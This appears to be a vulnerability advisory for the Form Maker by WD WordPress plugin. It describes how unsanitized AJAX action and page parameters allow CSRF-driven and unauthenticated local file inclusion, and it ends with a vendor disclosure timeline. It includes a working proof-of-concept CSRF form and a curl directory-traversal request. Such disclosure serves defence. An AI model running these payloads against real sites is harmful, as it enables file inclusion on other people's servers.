Form Maker by WD [CSRF → LFI]

Multiple CSRF issues in Form Maker by WD WordPress plugin.

Description

Plugin implements the following AJAX actions:

  • generete_csv
  • generete_xml
  • formmakerwdcaptcha
  • formmakerwdmathcaptcha
  • product_option
  • FormMakerEditCountryinPopup
  • FormMakerMapEditinPopup
  • FormMakerIpinfoinPopup
  • show_matrix
  • FormMakerSubmits
  • FormMakerSQLMapping
  • select_data_from_db
  • manage_fm
  • FMShortocde

All of them call the function form_maker_ajax. This function dynamicaly loads a file defined in $_GET['action'] or $_POST['action'] if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the $_GET['action'] and AJAX action in $_POST['action']. Leveraging that and the fact that no sanitization is performed on the $_GET['action'], a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability.

Plugin also registers the following AJAX actions:

  • paypal_info
  • checkpaypal

Those seems like the are only available to PRO version users, yet they also are vulnerable to this attack.

Additionally the following AJAX actions are registered in PRO version:

  • get_frontend_stats
  • frontend_show_map
  • frontend_show_matrix
  • frontend_paypal_info
  • frontend_generate_csv
  • frontend_generate_xml

Those have the function form_maker_ajax_frontend as a callback. All of them are vulnerable to the aforementioned attack. What’s more interesting about those is the fact that are available to non-registered users also, making this attack directly exploitable, without using a CSRF attack. In this case the vulnerable param is $_REQUEST['page'].

PoC

Using a CSRF attack

<form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php?action=/../../../../../index">
    <label>AJAX action:
        <select name="action">
            <optgroup label="Free version">
                <option value="generete_csv">generete_csv</option>
                <option value="generete_xml">generete_xml</option>
                <option value="formmakerwdcaptcha">formmakerwdcaptcha</option>
                <option value="formmakerwdmathcaptcha">formmakerwdmathcaptcha</option>
                <option value="product_option">product_option</option>
                <option value="FormMakerEditCountryinPopup">FormMakerEditCountryinPopup</option>
                <option value="FormMakerMapEditinPopup">FormMakerMapEditinPopup</option>
                <option value="FormMakerIpinfoinPopup">FormMakerIpinfoinPopup</option>
                <option value="show_matrix">show_matrix</option>
                <option value="FormMakerSubmits">FormMakerSubmits</option>
                <option value="FormMakerSQLMapping">FormMakerSQLMapping</option>
                <option value="select_data_from_db">select_data_from_db</option>
                <option value="manage_fm">manage_fm</option>
                <option value="FMShortocde">FMShortocde</option>
            </optgroup>
            <optgroup label="Pro Version">
                <option value="paypal_info">paypal_info</option>
                <option value="checkpaypal">checkpaypal</option>
                <option value="get_frontend_stats">get_frontend_stats</option>
                <option value="frontend_show_map">frontend_show_map</option>
                <option value="frontend_show_matrix">frontend_show_matrix</option>
                <option value="frontend_paypal_info">frontend_paypal_info</option>
                <option value="frontend_generate_csv">frontend_generate_csv</option>
                <option value="frontend_generate_xml">frontend_generate_xml</option>
            </optgroup>
        </select>
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>

Without leveraging the CSRF vulnerability

curl 'http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php' \
    -d 'action=get_frontend_stats&page=/../../../../../index'

WordPress Plugins CSRF
INFO
TIMELINE
  • 2019-03-17:
    Discovered
  • 2019-03-17:
    Vendor notified through contact form on 10web.io
  • 2019-03-18:
    Vendor responded
  • 2019-03-19:
    Vendor received advisory
  • 2019-03-20:
    Patch released (incomplete)
  • 2019-03-20:
    Notified vendor about the incomplete patch
  • 2019-03-22:
    Vendor responded that they will include a CSRF protection in a "future upgrade"
  • 2019-04-05:
    Vendor released v1.13.5 which fixes this issue